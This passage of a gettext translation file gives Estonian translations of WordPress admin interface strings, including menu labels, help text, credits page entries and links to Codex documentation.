#: wp-admin/export.php:54 wp-admin/import.php:27 wp-admin/index.php:87
#: wp-admin/link-manager.php:59 wp-admin/media-new.php:55 wp-admin/media.php:82
#: wp-admin/my-sites.php:47 wp-admin/nav-menus.php:543
#: wp-admin/options-discussion.php:25 wp-admin/options-general.php:78
#: wp-admin/options-media.php:33 wp-admin/options-permalink.php:43
#: wp-admin/options-reading.php:70 wp-admin/options-writing.php:50
#: wp-admin/plugin-editor.php:139 wp-admin/plugin-install.php:84
#: wp-admin/plugins.php:358 wp-admin/revision.php:118
#: wp-admin/theme-editor.php:38 wp-admin/theme-install.php:102
#: wp-admin/themes.php:84 wp-admin/tools.php:27 wp-admin/update-core.php:488
#: wp-admin/upload.php:50 wp-admin/upload.php:218 wp-admin/user-edit.php:52
#: wp-admin/user-new.php:183 wp-admin/users.php:60 wp-admin/widgets.php:72
msgid "For more information:"
msgstr "Vaata lisaks:"

#: wp-admin/menu.php:198 wp-admin/menu.php:200 wp-admin/user-edit.php:218
#: wp-admin/users.php:435
msgctxt "user"
msgid "Add New"
msgstr "Lisa uus"

#: wp-admin/includes/class-wp-links-list-table.php:58
#: wp-admin/includes/class-wp-links-list-table.php:155
#: wp-admin/includes/class-wp-ms-sites-list-table.php:142
#: wp-admin/includes/class-wp-ms-sites-list-table.php:299
#: wp-admin/includes/class-wp-ms-themes-list-table.php:259
#: wp-admin/includes/class-wp-ms-themes-list-table.php:304
#: wp-admin/includes/class-wp-ms-users-list-table.php:78
#: wp-admin/includes/class-wp-ms-users-list-table.php:199
#: wp-admin/includes/class-wp-plugins-list-table.php:305
#: wp-admin/includes/class-wp-plugins-list-table.php:404
#: wp-admin/includes/class-wp-plugins-list-table.php:413
#: wp-admin/includes/class-wp-terms-list-table.php:117
#: wp-admin/includes/class-wp-terms-list-table.php:311
#: wp-admin/includes/class-wp-themes-list-table.php:170
#: wp-admin/includes/class-wp-users-list-table.php:192
#: wp-admin/includes/class-wp-users-list-table.php:371
#: wp-admin/includes/media.php:1427 wp-admin/includes/meta-boxes.php:803
#: wp-admin/includes/template.php:605 wp-admin/includes/widgets.php:226
#: wp-admin/themes.php:368 wp-admin/widgets.php:284
msgid "Delete"
msgstr "Kustuta"

#: wp-admin/menu.php:196
msgid "All Users"
msgstr "Kõik kasutajad"

#: wp-admin/edit-form-advanced.php:193
msgid "Attributes"
msgstr "Omadused"

#: wp-admin/includes/class-wp-theme-install-list-table.php:370
#: wp-admin/includes/dashboard.php:1098 wp-admin/theme-install.php:219
#: wp-admin/theme-install.php:237
msgid "Install"
msgstr "Paigalda"

#: wp-admin/menu.php:177
msgid "Plugins %s"
msgstr "Pluginad %s"

#: wp-admin/menu.php:217 wp-admin/ms-delete-site.php:30
msgid "Delete Site"
msgstr "Kustuta veebileht"

#: wp-admin/edit-form-advanced.php:302
msgid "About Pages"
msgstr "Lehtedest"

#: wp-admin/edit-form-advanced.php:276
msgid "Customizing This Display"
msgstr "Ekraani seadistamine"

#: wp-admin/edit-form-advanced.php:286
msgid "Title and Post Editor"
msgstr "Redaktor"

#: wp-admin/edit-tags.php:235
msgid "<a href=\"http://codex.wordpress.org/Posts_Tags_Screen\" target=\"_blank\">Documentation on Tags</a>"
msgstr "<a href=\"http://codex.wordpress.org/Posts_Tags_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/options-reading.php:151
msgid "Note: Neither of these options blocks access to your site &mdash; it is up to search engines to honor your request."
msgstr "Märkus: mitte kumbki neist valikutest ei blokeeri ligipääsu - see on otsimootorite otsustada, kas nad järgivad seda sätet või ei."

#: wp-admin/options-permalink.php:220
msgid "Post name"
msgstr "Postituse nimi"

#: wp-admin/options-permalink.php:209 wp-admin/options-permalink.php:213
#: wp-admin/options-permalink.php:221
msgctxt "sample permalink structure"
msgid "sample-post"
msgstr "näidispostitus"

#: wp-admin/options-permalink.php:197 wp-admin/options-permalink.php:217
msgctxt "sample permalink base"
msgid "archives"
msgstr "arhiiv"

#: wp-admin/import.php:104
msgid "This importer is not installed. Please install importers from <a href=\"%s\">the main site</a>."
msgstr "Seda importijat ei ole paigaldatud. Paigaldada saad <a href=\"%s\">pealehelt</a>."

#: wp-admin/options-general.php:113 wp-admin/options-general.php:132
msgid "E-mail Address"
msgstr "E-postiaadress"

#: wp-admin/options-general.php:314
msgid "Site Language"
msgstr "Veebilehe keel"

#: wp-admin/options-discussion.php:45
msgid "Attempt to notify any blogs linked to from the article"
msgstr "Püüa saata märguanne kõigile artiklis viidatud ajaveebidele."

#. translators: 1: Site name, 2: site URL, 3: role
#: wp-admin/user-new.php:24
msgid ""
"Hi,\n"
"You've been invited to join '%1$s' at\n"
"%2$s with the role of %3$s.\n"
"If you do not want to join this site please ignore\n"
"this email. This invitation will expire in a few days.\n"
"\n"
"Please click the following link to activate your user account:\n"
"%%s"
msgstr ""
"Tere,\n"
"Sind kutsutakse osalema veebilehel '%1$s' aadressil\n"
"%2$s rollis %3$s.\n"
"Kui sa ei ole huvitatud, võid seda e-kirja rahulikult\n"
"eirata. Kutse kaotab kehtivuse mõne päeva jooksul.\n"
"\n"
"Kasutajakonto sisselülitamiseks klõpsa palun allolevat viidet:\n"
"%%s"

#: wp-admin/includes/theme.php:220
msgid "Full Width Template"
msgstr "Täislaiusega mall"

#: wp-admin/includes/theme.php:222
msgid "Post Formats"
msgstr "Postituse vormingud"

#: wp-admin/includes/theme.php:217
msgid "Featured Images"
msgstr "Valitud pildid"

#: wp-admin/includes/theme.php:216
msgid "Featured Image Header"
msgstr "Valitud päisepilt"

#: wp-admin/includes/dashboard.php:1176
msgid "It looks like you're using an old version of <a href='%s'>%s</a>. For the best WordPress experience, please update your browser."
msgstr "Näib, et kasutad <a href='%s'>%s</a> vana versiooni. Parima WordPressi-kogemuse saamiseks uuenda palun enda veebilehitsejat."

#: wp-admin/includes/dashboard.php:1174
msgid "It looks like you're using an insecure version of <a href='%s'>%s</a>. Using an outdated browser makes your computer unsafe. For the best WordPress experience, please update your browser."
msgstr "Näib, et kasutad <a href='%s'>%s</a> ebaturvalist versiooni. Aegunud veebilehitseja muudab Su arvuti ebaturvaliseks. Parima WordPressi-kogemuse saamiseks uuenda palun enda veebilehitsejat."

#: wp-admin/includes/nav-menu.php:1196
msgid "There are some invalid menu items. Please check or delete them."
msgstr "Mõned menüü elemendid on vigased. Palun kontrolli või kustuta nad."

#. translators: %s: title of menu item which is invalid
#: wp-admin/includes/nav-menu.php:85
msgid "%s (Invalid)"
msgstr "%s (vigane)"

#: wp-admin/includes/class-wp-terms-list-table.php:132
#: wp-admin/includes/class-wp-terms-list-table.php:426
msgctxt "term name"
msgid "Name"
msgstr "Nimi"

#: wp-admin/includes/template.php:530 wp-admin/includes/template.php:545
#: wp-admin/includes/template.php:654
msgctxt "meta name"
msgid "Name"
msgstr "Nimi"

#: wp-admin/user-new.php:36
msgid "[%s] Your site invite"
msgstr "[%s] Sinu kutse"

#: wp-admin/themes.php:251
msgctxt "theme name"
msgid "Name"
msgstr "Nimi"

#: wp-admin/credits.php:192
msgid "Icon Design"
msgstr "Ikoonikujundus"

#: wp-admin/theme-install.php:81
msgid "You can find additional themes for your site by using the Theme Browser/Installer on this screen, which will display themes from the <a href=\"%s\" target=\"_blank\">WordPress.org Theme Directory</a>. These themes are designed and developed by third parties, are available free of charge, and are compatible with the license WordPress uses."
msgstr "Uute teemade leidmiseks kasuta teemasirvijat/paigaldajat, mis näitab <a href=\"%s\" target=\"_blank\">WordPressi teemakataloogi</a> sisu. Need teemad on loodud erinevate autorite poolt, kuid on kõik tasuta ning kasutavad WordPressiga ühilduvat litsentsi."

#: wp-admin/update-core.php:51
msgid "Re-install Now"
msgstr "Paigalda uuesti"

#: wp-admin/includes/file.php:253
msgid "The uploaded file exceeds the upload_max_filesize directive in php.ini."
msgstr "Üleslaetava faili maht ületab php-ini -failis upload_max_filesize -määranguga lubatu."

#: wp-admin/includes/file.php:254
msgid "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form."
msgstr "Üleslaetava faili maht ületab HTML-vormis sätestatud MAX_FILE_SIZE -määranguga lubatu."

#: wp-admin/options-writing.php:122 wp-admin/tools.php:47
msgid "If your bookmarks toolbar is hidden: copy the code below, open your Bookmarks manager, create new bookmark, type Press This into the name field and paste the code into the URL field."
msgstr "Kui järjehoidjariba ei näidata, tee nii: kopeeri allolev kood, ava järjehoidjahaldur, loo uus järjehoidja, kirjuta nimeks Press This ning kleebi kood URLi-i väljale."

#: wp-admin/credits.php:185
msgid "Core Committer"
msgstr "Põhiarendaja"

#: wp-admin/credits.php:186
msgid "Guest Committer"
msgstr "Külalisarendaja"

#: wp-admin/about.php:154 wp-admin/credits.php:191
msgid "External Libraries"
msgstr "Välisteegid"

#: wp-admin/press-this.php:652
msgid "Add:"
msgstr "Lisa:"

#: wp-admin/press-this.php:288
msgid "Add Photos"
msgstr "Lisa fotosid"

#: wp-admin/menu.php:213
msgid "Available Tools"
msgstr "Saadaolevad töövahendid"

#: wp-admin/menu.php:219
msgid "Network Setup"
msgstr "Võrguparameetrid"

#: wp-admin/credits.php:183
msgid "User Experience Lead"
msgstr "Kasutajatestide juht"

#: wp-admin/credits.php:120
msgctxt "Translate this to be the equivalent of English Translators in your language for the credits page Translators section"
msgid "Translators"
msgstr "Tõlkijad"

#. translators: Url to the codex documentation on contributing to WordPress
#. used on the credits page
#: wp-admin/credits.php:107
msgid "http://codex.wordpress.org/Contributing_to_WordPress"
msgstr "http://codex.wordpress.org/Contributing_to_WordPress"

#: wp-admin/freedoms.php:45
msgid "WordPress grows when people like you tell their friends about it, and the thousands of businesses and services that are built on and around WordPress share that fact with their users. We&#8217;re flattered every time someone spreads the good word, just make sure to <a href=\"%s\">check out our trademark guidelines</a> first."
msgstr "WordPress kasvab, kui inimesed nagu Sina sellest enda sõpradele räägivad - seda teevad tuhanded WordPressi peale ja ümber loodud ettevõtted ja teenused enda kasutajatega. Me oleme õnnelikud igaühe üle, kes head sõnumit levitavad, kuid ole hea ja tutvu eelnevalt meie <a href=\"%s\">kaubamärgijuhistega</a>."

#: wp-admin/freedoms.php:52
msgid "Every plugin and theme in WordPress.org&#8217;s directory is 100%% GPL or a similarly free and compatible license, so you can feel safe finding <a href=\"%1$s\">plugins</a> and <a href=\"%2$s\">themes</a> there. If you get a plugin or theme from another source, make sure to <a href=\"%3$s\">ask them if it&#8217;s GPL</a> first. If they don&#8217;t respect the WordPress license, we don&#8217;t recommend them."
msgstr "Iga plugin ja teema WordPress.org varamus on 100% GPL-i või samalaadse vaba ja ühilduva litsentsi all, seega on <a href=\"%1$s\">pluginate</a> ja <a href=\"%2$s\">teemade</a> hankimine sealt turvaline. Kui hangid pluginaid või teemasid muudest allikatest, peaksid veenduma, et <a href=\"%3$s\">need on GPL-i all</a>. Kui nad aga ei austa WordPressi litsentsi, siis me neid ei soovita."

#: wp-admin/freedoms.php:36
msgid "WordPress is Free and open source software, built by a distributed community of mostly volunteer developers from around the world. WordPress comes with some awesome, worldview-changing rights courtesy of its <a href=\"%s\">license</a>, the GPL."
msgstr "WordPress on vaba ja avatud lähtekoodiga tarkvara, mida arendab hajus kogukond peamiselt vabatahtlikke üle kogu maailma. WordPress annab enda <a href=\"%s\">GPL</a>-litsentsist tulenevalt kasutajale mitmed põhjapaneva tähtsusega õigused."

#: wp-admin/credits.php:181
msgid "Lead Developer"
msgstr "Juhtiv arendaja"

#: wp-admin/credits.php:187
msgid "Developer"
msgstr "Arendaja"

#: wp-admin/credits.php:175
msgid "Extended Core Team"
msgstr "Laiendatud tuumikmeeskond"

#: wp-admin/credits.php:162
msgid "Want to see your name in lights on this page? <a href=\"%s\">Get involved in WordPress</a>."
msgstr "Tahad enda nime siin näha? <a href=\"%s\">Liitu WordPressi tegijatega</a>."

#: wp-admin/about.php:38 wp-admin/credits.php:12 wp-admin/credits.php:93
#: wp-admin/freedoms.php:30
msgid "Credits"
msgstr "Tegijad"

#: wp-admin/widgets.php:335
msgctxt "removing-widget"
msgid "Deactivate"
msgstr "Lülita välja"

#: wp-admin/credits.php:180
msgid "Cofounder, Project Lead"
msgstr "Kaasasutaja, projekti juht"

#: wp-admin/credits.php:190
msgid "Internationalization"
msgstr "Tõlketööd"

#: wp-admin/credits.php:178
msgid "Core Contributors to WordPress %s"
msgstr "WordPress %s põhiarendajad"

#: wp-admin/credits.php:177
msgid "Recent Rockstars"
msgstr "Hetke staartegijad"

#: wp-admin/menu.php:99
msgid "All Comments"
msgstr "Kõik kommentaarid"

#: wp-admin/credits.php:104
msgid "WordPress is created by a <a href=\"%1$s\">worldwide team</a> of passionate individuals. <a href=\"%2$s\">Get involved in WordPress</a>."
msgstr "WordPressi lõi <a href=\"%1$s\">rahvusvaheline</a> pühendunud inimeste meeskond. <a href=\"%2$s\">Liitu WordPressi tegijatega</a>."

#: wp-admin/credits.php:174
msgid "Project Leaders"
msgstr "Projektijuhid"

#: wp-admin/credits.php:188
msgid "Designer"
msgstr "Kujundaja"

#: wp-admin/freedoms.php:39
msgid "You have the freedom to run the program, for any purpose."
msgstr "Sul on õigus käitada tarkvara mistahes eesmärgil."

#: wp-admin/freedoms.php:40
msgid "You have access to the source code, the freedom to study how the program works, and the freedom to change it to make it do what you wish."
msgstr "Sul on ligipääs lähtekoodile ja õigus uurida, kuidas see tarkvara töötab, samuti õigus muuta seda vastavalt enda vajadustele."

#: wp-admin/freedoms.php:41
msgid "You have the freedom to redistribute copies of the original program so you can help your neighbor."
msgstr "Sul on õigus jagada algset tarkvara teistega, et enda kaaskodanikke aidata."

#: wp-admin/freedoms.php:42
msgid "You have the freedom to distribute copies of your modified versions to others. By doing this you can give the whole community a chance to benefit from your changes."
msgstr "Sul on õigus jagada muudetud tarkvara teistega. Nii annad tervele kogukonnale võimaluse kasutada Sinu tehtud muudatusi."

#: wp-admin/includes/dashboard.php:28
msgid "You are using an insecure browser!"
msgstr "Kasutad ebaturvalist veebilehitsejat!"

#: wp-admin/includes/dashboard.php:30
msgid "Your browser is out of date!"
msgstr "Sinu veebilehitseja on kahjuks liiga vana."

#: wp-admin/freedoms.php:54
msgid "Don&#8217;t you wish all software came with these freedoms? So do we! For more information, check out the <a href=\"http://www.fsf.org/\">Free Software Foundation</a>."
msgstr "Kas Sa ei arva, et kogu tarkvara võiks samu õigusi kasutada? Meie arvame! Lisainfot selle kohta leiad  <a href=\"http://www.fsf.org\">Vaba Tarkvara Sihtasutuse</a> lehelt."

#: wp-admin/about.php:40 wp-admin/credits.php:95 wp-admin/freedoms.php:12
#: wp-admin/freedoms.php:32
msgid "Freedoms"
msgstr "Õigused"

#: wp-admin/custom-header.php:638
msgid "You can use one of these cool headers or show a random one on each page."
msgstr "Saad kasutada üht järgnevatest päistest või kuvada juhusliku igal lehel."

#: wp-admin/custom-header.php:636
msgid "If you don&lsquo;t want to upload your own image, you can use one of these cool headers, or show a random one."
msgstr "Kui sa ei soovi oma päisepilti üles laadida, võid kasutada mõnd olemasolevat või kuvada juhusliku."

#: wp-admin/custom-header.php:624
msgid "You can choose one of your previously uploaded headers, or show a random one."
msgstr "Võid valida ühe eelnevalt üleslaetud päistest või näidata juhuslikult valitut."

#: wp-admin/menu-header.php:205
msgid "Collapse menu"
msgstr "Sulge menüü"

#: wp-admin/includes/class-wp-plugins-list-table.php:333
msgid "Drop-ins are advanced plugins in the <code>%s</code> directory that replace WordPress functionality when present."
msgstr "Täiendid (drop-in)  on kataloogis <code>%s</code> asuvad keerukamad pluginad, mis olemasolu korral muudavad WordPressi toimemehhanisme."

#: wp-admin/includes/class-wp-plugins-list-table.php:331
msgid "Files in the <code>%s</code> directory are executed automatically."
msgstr "Kataloogis <code>%s</code> asuvad programmid käivitatakse automaatselt."

#: wp-admin/custom-header.php:341
msgid "<strong>Random:</strong> Show a different image on each page."
msgstr "<strong>Juhuslik:</strong> Näita igal lehel erinevat pilti."

#: wp-admin/custom-header.php:622
msgid "Uploaded Images"
msgstr "Üleslaetud pildid"

#: wp-admin/media-new.php:56
msgid "<a href=\"http://codex.wordpress.org/Media_Add_New_Screen\" target=\"_blank\">Documentation on Uploading Media Files</a>"
msgstr "<a href=\"http://codex.wordpress.org/Media_Add_New_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/user-edit.php:53
msgid "<a href=\"http://codex.wordpress.org/Users_Your_Profile_Screen\" target=\"_blank\">Documentation on User Profiles</a>"
msgstr "<a href=\"http://codex.wordpress.org/Users_Your_Profile_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/options-permalink.php:44
msgid "<a href=\"http://codex.wordpress.org/Settings_Permalinks_Screen\" target=\"_blank\">Documentation on Permalinks Settings</a>"
msgstr "<a href=\"http://codex.wordpress.org/Settings_Permalinks_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit-tags.php:231
msgid "<a href=\"http://codex.wordpress.org/Posts_Categories_Screen\" target=\"_blank\">Documentation on Categories</a>"
msgstr "<a href=\"http://codex.wordpress.org/Posts_Categories_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit-tags.php:233
msgid "<a href=\"http://codex.wordpress.org/Links_Link_Categories_Screen\" target=\"_blank\">Documentation on Link Categories</a>"
msgstr "<a href=\"http://codex.wordpress.org/Links_Link_Categories_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/widgets.php:73
msgid "<a href=\"http://codex.wordpress.org/Appearance_Widgets_Screen\" target=\"_blank\">Documentation on Widgets</a>"
msgstr "<a href=\"http://codex.wordpress.org/Appearance_Widgets_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/nav-menus.php:544
msgid "<a href=\"http://codex.wordpress.org/Appearance_Menus_Screen\" target=\"_blank\">Documentation on Menus</a>"
msgstr "<a href=\"http://codex.wordpress.org/Appearance_Menus_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit-form-advanced.php:325 wp-admin/media.php:83
msgid "<a href=\"http://codex.wordpress.org/Media_Add_New_Screen#Edit_Media\" target=\"_blank\">Documentation on Edit Media</a>"
msgstr "<a href=\"http://codex.wordpress.org/Media_Add_New_Screen#Edit_Media\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit-form-advanced.php:309
msgid "<a href=\"http://codex.wordpress.org/Pages_Screen#Editing_Individual_Pages\" target=\"_blank\">Documentation on Editing Pages</a>"
msgstr "<a href=\"http://codex.wordpress.org/Pages_Pages_Screen#Editing_Individual_Pages\"  target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/upload.php:51 wp-admin/upload.php:219
msgid "<a href=\"http://codex.wordpress.org/Media_Library_Screen\" target=\"_blank\">Documentation on Media Library</a>"
msgstr "<a href=\"http://codex.wordpress.org/Media_Library_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/tools.php:28
msgid "<a href=\"http://codex.wordpress.org/Tools_Screen\" target=\"_blank\">Documentation on Tools</a>"
msgstr "<a href=\"http://codex.wordpress.org/Tools_Tools_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/custom-header.php:191
msgid "<a href=\"http://codex.wordpress.org/Appearance_Header_Screen\" target=\"_blank\">Documentation on Custom Header</a>"
msgstr "<a href=\"http://codex.wordpress.org/Appearance_Header_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/export.php:55
msgid "<a href=\"http://codex.wordpress.org/Tools_Export_Screen\" target=\"_blank\">Documentation on Export</a>"
msgstr "<a href=\"http://codex.wordpress.org/Tools_Export_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/options-general.php:79
msgid "<a href=\"http://codex.wordpress.org/Settings_General_Screen\" target=\"_blank\">Documentation on General Settings</a>"
msgstr "<a href=\"http://codex.wordpress.org/Settings_General_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/options-media.php:34
msgid "<a href=\"http://codex.wordpress.org/Settings_Media_Screen\" target=\"_blank\">Documentation on Media Settings</a>"
msgstr "<a href=\"http://codex.wordpress.org/Settings_Media_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/update-core.php:489
msgid "<a href=\"http://codex.wordpress.org/Dashboard_Updates_Screen\" target=\"_blank\">Documentation on Updating WordPress</a>"
msgstr "<a href=\"http://codex.wordpress.org/Dashboard_Updates_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit-form-advanced.php:293
msgid "<a href=\"http://codex.wordpress.org/Posts_Add_New_Screen\" target=\"_blank\">Documentation on Writing and Editing Posts</a>"
msgstr "<a href=\"http://codex.wordpress.org/Posts_Add_New_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/comment.php:58 wp-admin/edit-comments.php:133
msgid "<a href=\"http://codex.wordpress.org/Administration_Screens#Comments\" target=\"_blank\">Documentation on Comments</a>"
msgstr "<a href=\"http://codex.wordpress.org/Adminstration_Screens#Comments\"  target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/users.php:61
msgid "<a href=\"http://codex.wordpress.org/Users_Screen\" target=\"_blank\">Documentation on Managing Users</a>"
msgstr "<a href=\"http://codex.wordpress.org/Users_Users_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/options-discussion.php:26
msgid "<a href=\"http://codex.wordpress.org/Settings_Discussion_Screen\" target=\"_blank\">Documentation on Discussion Settings</a>"
msgstr "<a href=\"http://codex.wordpress.org/Settings_Discussion_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit-link-form.php:65
msgid "<a href=\"http://codex.wordpress.org/Links_Add_New_Screen\" target=\"_blank\">Documentation on Creating Links</a>"
msgstr "<a href=\"http://codex.wordpress.org/Links_Add_New_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/options-reading.php:71
msgid "<a href=\"http://codex.wordpress.org/Settings_Reading_Screen\" target=\"_blank\">Documentation on Reading Settings</a>"
msgstr "<a href=\"http://codex.wordpress.org/Settings_Reading_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/plugin-install.php:85
msgid "<a href=\"http://codex.wordpress.org/Plugins_Add_New_Screen\" target=\"_blank\">Documentation on Installing Plugins</a>"
msgstr "<a href=\"http://codex.wordpress.org/Plugins_Add_New_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit.php:205
msgid "<a href=\"http://codex.wordpress.org/Posts_Screen\" target=\"_blank\">Documentation on Managing Posts</a>"
msgstr "<a href=\"http://codex.wordpress.org/Posts_Posts_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/index.php:88
msgid "<a href=\"http://codex.wordpress.org/Dashboard_Screen\" target=\"_blank\">Documentation on Dashboard</a>"
msgstr "<a href=\"http://codex.wordpress.org/Dashboard_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/plugin-editor.php:140
msgid "<a href=\"http://codex.wordpress.org/Plugins_Editor_Screen\" target=\"_blank\">Documentation on Editing Plugins</a>"
msgstr "<a href=\"http://codex.wordpress.org/Plugins_Editor_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/custom-background.php:150
msgid "<a href=\"http://codex.wordpress.org/Appearance_Background_Screen\" target=\"_blank\">Documentation on Custom Background</a>"
msgstr "<a href=\"http://codex.wordpress.org/Appearance_Background_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/import.php:28
msgid "<a href=\"http://codex.wordpress.org/Tools_Import_Screen\" target=\"_blank\">Documentation on Import</a>"
msgstr "<a href=\"http://codex.wordpress.org/Tools_Import_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit.php:226
msgid "<a href=\"http://codex.wordpress.org/Pages_Screen\" target=\"_blank\">Documentation on Managing Pages</a>"
msgstr "<a href=\"http://codex.wordpress.org/Pages_Pages_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit-form-advanced.php:308
msgid "<a href=\"http://codex.wordpress.org/Pages_Add_New_Screen\" target=\"_blank\">Documentation on Adding New Pages</a>"
msgstr "<a href=\"http://codex.wordpress.org/Pages_Add_New_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/options-writing.php:51
msgid "<a href=\"http://codex.wordpress.org/Settings_Writing_Screen\" target=\"_blank\">Documentation on Writing Settings</a>"
msgstr "<a href=\"http://codex.wordpress.org/Settings_Writing_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/link-manager.php:60
msgid "<a href=\"http://codex.wordpress.org/Links_Screen\" target=\"_blank\">Documentation on Managing Links</a>"
msgstr "<a href=\"http://codex.wordpress.org/Links_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/user-new.php:184
msgid "<a href=\"http://codex.wordpress.org/Users_Add_New_Screen\" target=\"_blank\">Documentation on Adding New Users</a>"
msgstr "<a href=\"http://codex.wordpress.org/Users_Add_New_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/includes/theme.php:195 wp-admin/includes/theme.php:256
#: wp-admin/index.php:61
msgid "Layout"
msgstr "Kujundus"

#: wp-admin/users.php:223
msgid "You have specified this user for deletion:"
msgid_plural "You have specified these users for deletion:"
msgstr[0] "Kasutaja on valitud kustutamiseks:"
msgstr[1] "Järgmised kasutajad on valitud kustutamiseks:"

#: wp-admin/user-edit.php:204
msgid "&larr; Back to Users"
msgstr "&larr; Tagasi kasutajate juurde"

#: wp-admin/includes/class-wp-list-table.php:675
msgctxt "paging"
msgid "%1$s of %2$s"
msgstr "%1$s %2$s-st"

#: wp-admin/includes/file.php:67
msgid "%s Page Template"
msgstr "%s lehemall"

#: wp-admin/press-this.php:514
msgid "Post Format:"
msgstr "Postituse vorming:"

#: wp-admin/plugins.php:270
msgid "This plugin may be active on other sites in the network."
msgid_plural "These plugins may be active on other sites in the network."
msgstr[0] "See plugin võib juba olla aktiivne selle võrgustiku mõnel teisel veebisaidil."
msgstr[1] "Need pluginad võivad juba olla aktiivsed selle võrgustiku mõnel teisel veebisaidil."

#: wp-admin/plugins.php:377
msgid "You cannot delete a plugin while it is active on the main site."
msgstr "Pealehel aktiivset pluginat kustutada ei saa."

#: wp-admin/options-writing.php:87
msgid "Default Post Format"
msgstr "Vaikimisi postitusevorming"

#: wp-admin/update-core.php:23 wp-admin/update-core.php:539
#: wp-admin/update-core.php:563 wp-admin/update-core.php:591
#: wp-admin/update-core.php:621
msgid "You do not have sufficient permissions to update this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe uuendamiseks."

#: wp-admin/user-edit.php:220 wp-admin/users.php:437
msgctxt "user"
msgid "Add Existing"
msgstr "Lisa olemasolev"

#: wp-admin/user-new.php:238
msgctxt "user"
msgid "Add New User"
msgstr "Lisa uus kasutaja"

#: wp-admin/user-new.php:433
msgid "Add New User "
msgstr "Lisa uus kasutaja"

#: wp-admin/user-new.php:328
msgid "Add Existing User "
msgstr "Lisa olemasolev kasutaja"

#: wp-admin/plugin-editor.php:135 wp-admin/theme-editor.php:34
msgid "Any edits to files from this screen will be reflected on all sites in the network."
msgstr "Mistahes siin tehtavad muudatused kajastuvad kogu võrgustikus."

#: wp-admin/user-new.php:240
msgctxt "user"
msgid "Add Existing User"
msgstr "Lisa olemasolev kasutaja"

#: wp-admin/options-writing.php:28 wp-admin/tools.php:17
msgid "Press This is a bookmarklet that makes it easy to blog about something you come across on the web. You can use it to just grab a link, or to post an excerpt. Press This will even allow you to choose from images included on the page and use them in your post. Just drag the Press This link on this screen to your bookmarks bar in your browser, and you&#8217;ll be on your way to easier content creation. Clicking on it while on another website opens a popup window with all these options."
msgstr "Press This on väike järjehoidjalaadne vahend, mis võimaldab lisada ajaveebi kõik veebist leitud huvitavad asjad. Võid kasutada seda üksiku viite või leheväljavõtte avaldamiseks. Sellega saad ka valida lähtelehelt mõne sobiva pildi ja avaldada selle enda ajaveebis. Nende võimaluste kasutamiseks lohista Press This -viide siit ekraanilt enda veebilehitseja järjehoidjaribale. Klõpsates seda mõne veebilehe avamise ajal avaneb hüpikaken kõigi nende võimalustega."

#: wp-admin/plugin-editor.php:141
msgid "<a href=\"http://codex.wordpress.org/Writing_a_Plugin\" target=\"_blank\">Documentation on Writing Plugins</a>"
msgstr "<a href=\"http://codex.wordpress.org/Writing_a_Plugin\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/index.php:65
msgid "The boxes on your Dashboard screen are:"
msgstr "Sinu töölaual on järgmised moodulid:"

#: wp-admin/users.php:26
msgid "This screen lists all the existing users for your site. Each user has one of five defined roles as set by the site admin: Site Administrator, Editor, Author, Contributor, or Subscriber. Users with roles other than Administrator will see fewer options in the dashboard navigation when they are logged in, based on their role."
msgstr "Siin on kõik sinu veebilehe kasutajad. Igale kasutajale on haldurite poolt määratud üks viiest rollist: haldur, toimetaja, autor, kaastööline või lugeja. Haldurite hulka mittekuuluvatele kasutajatele on antud õigused vastavalt nende rollile."

#: wp-admin/options-permalink.php:45
msgid "<a href=\"http://codex.wordpress.org/Using_Permalinks\" target=\"_blank\">Documentation on Using Permalinks</a>"
msgstr "<a href=\"http://codex.wordpress.org/Using_Permalinks\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/plugin-editor.php:134
msgid "If you want to make changes but don&#8217;t want them to be overwritten when the plugin is updated, you may be ready to think about writing your own plugin. For information on how to edit plugins, write your own from scratch, or just better understand their anatomy, check out the links below."
msgstr "Kui sa tahad pluginat muuta ega soovi uuendustel lasta muudatusi üle kirjutada, peaksid kaaluma omaenda plugina kirjutamist. Pluginate muutmise, uute loomise või ka lihtsalt nende tööpõhimõtete  kohta vaata viiteid allpool."

#: wp-admin/users.php:62
